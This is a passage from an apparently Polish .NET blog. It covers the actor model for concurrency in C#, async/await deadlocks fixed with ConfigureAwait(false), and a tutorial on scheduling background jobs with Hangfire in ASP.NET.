– stan aktora nie może być modyfikowany bezpośrednio przez zewnętrzne obiekty

Myślę, że to najważniejsze właściwości modelu. W świecie C#, aktor będzie zatem klasą wykonywaną na osobnym wątku albo zadaniu (task – TPL). Taka klasa nie będzie eksponowała setter’ów. Wszystkie właściwości mogą być tylko do odczytu. Musimy zagwarantować, że aktor nie jest modyfikowany przez cokolwiek innego. Stan aktora za to może być modyfikowany przez niego samego.

Kluczową rolę pełnią tutaj asynchroniczne wiadomości. Jeśli ktoś jest zaznajomiony z nServiceBus czy nawet opisanym w zeszłym tygodniu Hangfire, powinien rozumieć systemy kolejkowe. W najprostszej postaci, wspomniana klasa (aktor) będzie zawierała kolekcję odebranych wiadomości. Następnie w wątku, będą one zdejmowane i przetwarzane jedna po drugim. Konieczne jest, aby dany aktor, przetwarzał wyłącznie jedną wiadomość w dowolnym czasie. Dzięki temu, nie musimy martwić się o synchronizację. Mamy zagwarantowane zatem:
– jeden aktor to wyłącznie jeden wątek
– stan aktora nie jest modyfikowany na zewnątrz
– żadne blokady nie są wymagane.

To bardzo ułatwia pracę. Nie musimy korzystać z żadnych blokad, ponieważ dany kod jest wykonywany wyłącznie przed jeden wątek. Sekcje krytyczną zastąpiono zatem asynchronicznymi wiadomościami. Jeśli wątek A chce odczytać albo zmienić stan wątku B, wykonuje to przez asynchroniczne wiadomości.

Zwykle systemy tworzą hierarchie aktorów, uformowane w postaci drzew. Każdy aktor może mieć swojego rodzica (zarządcę). Zwykle dany problem rozbija się na taką liczbę aktorów, aby pojedynczy aktor mógł wykonywać kod bez żadnej synchronizacji. Jeśli dany problem składa się z operacji wymagających sekcji krytycznych, wtedy rozdzielamy go jeszcze bardziej, tworząc kolejny poziom w drzewie aktorów.

Najtrudniejszym element w wielowątkowości jest modyfikacja stanu współdzielonego. W przypadku aktorów, takiego stanu po prostu nie ma. Każdy aktor pracuje niezależnie od siebie. Jeśli dane jednego aktora potrzebne są przez drugiego, przesyłane są w formie niemodyfikowalnych, asynchronicznych wiadomości.

Dla prostych problemów, model może okazać się zbyt skomplikowany. Czasami łatwiej jest stworzyć sekcję krytyczną w formie blokady, niż implementować kilka klas komunikujących się za pomocą wiadomości. W przyszłym poście, pokażę realny problem, zaimplementowany najpierw za pomocą blokady lock, a potem w w postaci aktorów.

Code Review: Metody asynchroniczne z async oraz oczekiwanie na rezultat

Coraz więcej API dostarcza asynchroniczne wersje metod. Niektóre z nich, idą o krok dalej i w ogóle nie posiadają synchronicznej wersji. Załóżmy, że zewnętrzna biblioteka ma następującą metodę:

 async Task<string> FetchDataAsync() {...}

Często jednak nie potrzebujemy korzystać z wersji async i tylko ona komplikuje sprawę. W powyższym przypadku moglibyśmy pokusić się o:

  string data=dataProvider.FetchDataAsync().Result;

  Console.WriteLine(data);

Niestety powyższy kod może być niebezpieczny i wywołać w niektórych sytuacjach deadlock. Jeśli nie wiemy, jak została zaimplementowana metoda FetchDataAsync bardzo łatwo popełnić błąd. Załóżmy, że ciało metody wygląda następująco:

    public async Task<string> FetchDataAsync()
    {
         await DoSomethingAsync();

         return "Hello World";
    }
    private Task DoSomethingAsync()
    {
         return Task.Run(() => Thread.Sleep(2000));
    } 

Kiedyś na blogu pokazywałem już podobny przykład odnoście wydajności async\await. Jeśli wywołujemy await, pobierany jest kontekst przed wejściem w nowy wątek. Dzięki temu, po zakończeniu wątku, czyli w momencie wyjścia z await, wiadomo jaki wątek powinien kontynuować operację. Wynika to z faktu, że w większości przypadków, użytkownik spodziewa się, że wątek przed await i po jest taki sam. Rozważmy kod:

string data = await GetInfo();
_textBox.Text = data;

Gdyby po wyjściu await, kontekst wykonywania nie przechodził w ten przed wywołaniem wątku, wtedy aktualizacja interfejsu nie powiodłaby się – zawsze należy go aktualizować z wątku głównego.

Wracając do przykładu z deadlock. W celu powrócenia do wątku głównego, po wywołaniu “await DoSomethingAsync();”, należy oczywiście uzyskać do niego dostęp. Problem w tym, że będzie on ciągle zajęty. Wywołanie “string data=dataProvider.FetchDataAsync().Result;” blokuje wątek główny do momentu zakończenia operacji. Operacja oczywiście nigdy nie zakończy się ponieważ czeka ona na na dostęp do wątku głównego blokowanego przez “Task.Result”.

Zachowanie różni się w zależności od typu aplikacji. W przypadku aplikacji konsolowej, nie ma kontekstu synchronizacyjnego (TaskScheduler) więc operacja nie zakończy się deadlock’iem. Jeśli piszemy np. aplikację ASP.NET lub WPF wtedy doświadczymy opisanych wyżej problemów.

Istnieje możliwość wyłączenia mechanizmu powracania do poprzedniego kontekstu. Służy do tego ConfigureAwait(false);

        public async Task<string> FetchDataAsync()
        {
            await DoSomethingAsync().ConfigureAwait(false);

            return "Hello World";
        }

Po wywołaniu ConfigureAwait(false) nie będziemy mieli problemów z deadlock, ponieważ żaden kontekst nie będzie pobierany. Oczywiście nie jest to eleganckie rozwiązanie. ConfigureAwait jest jednak bardzo przydatny ze względów wydajnościowych – np. gdy w pętli wywołujemy await, wtedy zwykle nie ma sensu pobierać kontekstu.

Jeśli zatem wywołujemy metodę async, powinniśmy używać await, inaczej istnieje duże ryzyko, że kod po prostu zawiesi się.

Czasochłonne operacje w ASP.NET – Hangfire

W jednym z poprzednich wpisów, pokazałem jak prawidłowo tworzyć wątki w tle w celu wykonania jakieś czasochłonnej operacji w ASP.NET. Pod wpisem, Michal Dymel zaproponował narzędzie o nazwie Hangfire.
Muszę przyznać, że framework jest bardzo prosty w użyciu i nie ma zbyt wiele zewnętrznych zależności. Od kilku tygodni korzystam z niego w jednym ze swoich projektów i nie miałem żadnych problemów z konfiguracją czy wdrążaniem rozwiązania w system produkcyjny.

Po kolei jednak… Hangfire służy do wykonywania czasochłonnych operacji w ASP.NET. Dostarcza zatem model “fire&forget”, czyli bardzo prostą implementację systemu kolejkowego. Jeśli zaplanowane zadanie niepowiedzie się (np. timeout), wtedy zostanie automatycznie kilkakrotnie razy powtarzane, w różnych odstępach czasu (tak jak w nServiceBus).
Wiemy, że IIS może zamknąć proces w dowolnym momencie, kończąc tym samym wszystkie zadania, które były wykonywane w tle. Dzięki Hangfire, nie musimy się martwić o wznawianie takiej operacji.

Zaplanowane zadania, przechowywane są w bazie danych, np. SQL Server czy Redis. Istnieje możliwość zaimplementowania własnego repozytorium, ale jest to dość skomplikowane.

Ponadto, Hangfire dostarcza bardzo przyjazny interfejs użytkownika. Instalacja jest bardzo prosta – wystarczy zainstalować poniższy pakiet NuGet:

 Install-Package HangFire

Następnie w Owin startup, umieszczamy:

    public class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            GlobalConfiguration.Configuration
              .UseSqlServerStorage(@"Server=PIOTR\SQLEXPRESS;Database=HangfireDb;Trusted_Connection=True;");

            app.UseHangfireDashboard();
            app.UseHangfireServer();
        }
    }

Powyższy przykład bazuje na SQL Server jako repozytorium zadań. Hangfire sam stworzy wymaganą strukturę tabel. Po uruchomieniu aplikacja, baza danych zostanie zainicjalizowana następującymi tabelami:

hangfiredb

W celu zaplanowania zadania, które wykonuje się o określonym czasie wystarczy:

RecurringJob.AddOrUpdate("Nazwa zadania",() => Console.WriteLine("Zaplanowane zadanie...."),Cron.Minutely);

Zwykle powyższy kod umieszcza się w Startup. Możemy przekazać jako parametr dowolne wyrażenie CRON. Hangfire zadba, aby zadanie wykonywało się o określonych porach oraz zostało wznawiane w przypadku recycling dokonywanego przez IIS.

Możemy również dodać zadanie do kolejki,  jeśli chcemy, aby zostało wykonane tylko raz:

BackgroundJob.Enqueue(
    () => Console.WriteLine("Test"));

Dużym udogodnieniem jest dostarczenie UI w formie dashboard. Przechodząc na stronę /hangfire (np. http://localhost:63486/hangfire), zobaczymy diagram pokazujący liczbę wykonanych zadań w ciągu ostatniego tygodnia lub dnia:

dashboard

W zakładce “Recurring tasks” zobaczymy nasze zaplanowane zadania:

recurring_tasks

Mamy szybki i łatwy podgląd, kiedy ostatnio zadanie zostało wykonywane i z jaką częstotliwością będzie wykonywane.

Przechodząc do zakładki Jobs, zobaczymy listę dostępnych kolejek:

queues

Widzimy, że aktualnie mamy 9 zadań w “Succeeded”.  Hangfire zadba o tym, aby nie zapychać powyższych kolejek i każdego dnia niepotrzebne wpisy zostają usuwane. Przechodząc do jakiejkolwiek kolejki, możemy przyjrzeć się szczegółom wykonanemu zadaniowi:

task_sucess

Załóżmy, że nasze zadanie teraz będzie wyrzucało wyjątek:

    public class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            GlobalConfiguration.Configuration
                .UseSqlServerStorage(@"Server=PIOTR\SQLEXPRESS;Database=HangfireDb;Trusted_Connection=True;");

            app.UseHangfireDashboard();
            app.UseHangfireServer();

            RecurringJob.AddOrUpdate("Nazwa zadania", () =&gt; SampleTask(), Cron.Minutely);
        }

        private static void SampleTask()
        {
            throw new NotImplementedException();
        }
    }

W zakładce Retries zobaczymy wtedy wpis informujący nas, że zadanie nie zostało wykonywane i Hangfire próbuje je wykonywać powtórnie:
retries

Oczywiście po pewnym czasie, gdy próby nie przyniosą efektu, zadanie zostanie na stałe przeniesione do “Failed” (gdzie ręcznie możemy wznowić wykonywanie).

Przechodząc do szczegółów zadania, zobaczymy informacje o wyjątku:

error_details

Ponadto HangFire integruje się z popularnymi loggerami (np. nLog, log4net) i jakiekolwiek logi wykonane przez Hangfire będą widoczne w naszych logach. Nic nie trzeba konfigurować – Hangfire automatycznie wykryje, aktualnie wykorzystywanego w systemie loggera.